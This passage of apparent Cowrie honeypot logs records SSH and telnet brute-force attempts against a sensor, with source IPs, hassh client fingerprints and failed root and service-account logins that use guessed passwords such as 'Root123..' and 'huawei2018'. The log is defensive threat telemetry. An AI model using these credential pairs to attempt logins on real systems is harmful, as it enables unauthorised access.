one"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:14.137744Z","src_ip":"213.209.159.158","session":"fc1a60d1b061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodeproxy","password":"nodeproxy","message":"login attempt [nodeproxy/nodeproxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:23.973349Z","src_ip":"213.209.159.158","session":"fc1a60d1b061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:27.055156Z","src_ip":"213.209.159.158","session":"fc1a60d1b061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":12230,"dst_ip":"159.203.135.109","dst_port":22,"session":"9af74ecf034e","protocol":"ssh","message":"New connection: 213.209.159.158:12230 (159.203.135.109:22) [session: 9af74ecf034e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:27.134610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:29.673628Z","src_ip":"213.209.159.158","session":"9af74ecf034e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:29.677028Z","src_ip":"213.209.159.158","session":"9af74ecf034e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123..","message":"login attempt [root/Root123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:38.963874Z","src_ip":"213.209.159.158","session":"9af74ecf034e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:42.620588Z","src_ip":"213.209.159.158","session":"9af74ecf034e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":16932,"dst_ip":"159.203.135.109","dst_port":22,"session":"91ff44d673f4","protocol":"ssh","message":"New connection: 213.209.159.158:16932 (159.203.135.109:22) [session: 91ff44d673f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:42.700841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:44.773513Z","src_ip":"213.209.159.158","session":"91ff44d673f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:44.783256Z","src_ip":"213.209.159.158","session":"91ff44d673f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":46970,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bdea39f89f4","protocol":"ssh","message":"New connection: 46.19.67.181:46970 (10.17.0.5:22) [session: 9bdea39f89f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:50.543998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:50.549220Z","src_ip":"46.19.67.181","session":"9bdea39f89f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:50.667672Z","src_ip":"46.19.67.181","session":"9bdea39f89f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxfcnkbdfz123","message":"login attempt [root/cxfcnkbdfz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:51.021312Z","src_ip":"46.19.67.181","session":"9bdea39f89f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:52.141927Z","src_ip":"46.19.67.181","session":"9bdea39f89f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei2018","message":"login attempt [root/huawei2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:53.948401Z","src_ip":"213.209.159.158","session":"91ff44d673f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:57.536834Z","src_ip":"213.209.159.158","session":"91ff44d673f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":25036,"dst_ip":"159.203.135.109","dst_port":22,"session":"880a6b77e32e","protocol":"ssh","message":"New connection: 213.209.159.158:25036 (159.203.135.109:22) [session: 880a6b77e32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:57.644387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:59.926724Z","src_ip":"213.209.159.158","session":"880a6b77e32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:59.930992Z","src_ip":"213.209.159.158","session":"880a6b77e32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":109.86510133743286,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:02.379791Z","src_ip":"152.42.224.71","session":"5b682b004fa3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!!","message":"login attempt [root/root!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:09.351664Z","src_ip":"213.209.159.158","session":"880a6b77e32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:12.717214Z","src_ip":"213.209.159.158","session":"880a6b77e32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26030,"dst_ip":"159.203.135.109","dst_port":22,"session":"75e24f693117","protocol":"ssh","message":"New connection: 213.209.159.158:26030 (159.203.135.109:22) [session: 75e24f693117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:12.835978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:14.884778Z","src_ip":"213.209.159.158","session":"75e24f693117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:14.889158Z","src_ip":"213.209.159.158","session":"75e24f693117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59930,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b59a4f6986f","protocol":"telnet","message":"New connection: 152.42.224.71:59930 (10.17.0.5:23) [session: 4b59a4f6986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:20.122520Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nemesis","message":"login attempt [root/nemesis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:24.365145Z","src_ip":"213.209.159.158","session":"75e24f693117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:27.537241Z","src_ip":"213.209.159.158","session":"75e24f693117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":1078,"dst_ip":"159.203.135.109","dst_port":22,"session":"0398d242f5f7","protocol":"ssh","message":"New connection: 213.209.159.158:1078 (159.203.135.109:22) [session: 0398d242f5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:27.615715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:30.207992Z","src_ip":"213.209.159.158","session":"0398d242f5f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:30.211998Z","src_ip":"213.209.159.158","session":"0398d242f5f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.223.208","src_port":56484,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d17af68867f","protocol":"telnet","message":"New connection: 66.240.223.208:56484 (159.203.135.109:23) [session: 1d17af68867f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:36.665428Z"}
{"eventid":"cowrie.login.failed","username":"postfix","password":"123456","message":"login attempt [postfix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:39.441760Z","src_ip":"213.209.159.158","session":"0398d242f5f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":38794,"dst_ip":"10.17.0.5","dst_port":22,"session":"e69f79791514","protocol":"ssh","message":"New connection: 103.27.238.120:38794 (10.17.0.5:22) [session: e69f79791514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:42.402797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:42.407666Z","src_ip":"103.27.238.120","session":"e69f79791514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:42.660669Z","src_ip":"103.27.238.120","session":"e69f79791514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:42.999678Z","src_ip":"213.209.159.158","session":"0398d242f5f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61564,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ae3f7c96f3e","protocol":"ssh","message":"New connection: 213.209.159.158:61564 (159.203.135.109:22) [session: 9ae3f7c96f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:43.078494Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqwsx123","message":"login attempt [root/zaqwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:43.421174Z","src_ip":"103.27.238.120","session":"e69f79791514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:44.678358Z","src_ip":"103.27.238.120","session":"e69f79791514","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:45.221758Z","src_ip":"213.209.159.158","session":"9ae3f7c96f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:45.226126Z","src_ip":"213.209.159.158","session":"9ae3f7c96f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.080742597579956,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:09:46.746077Z","src_ip":"66.240.223.208","session":"1d17af68867f","protocol":"telnet"}
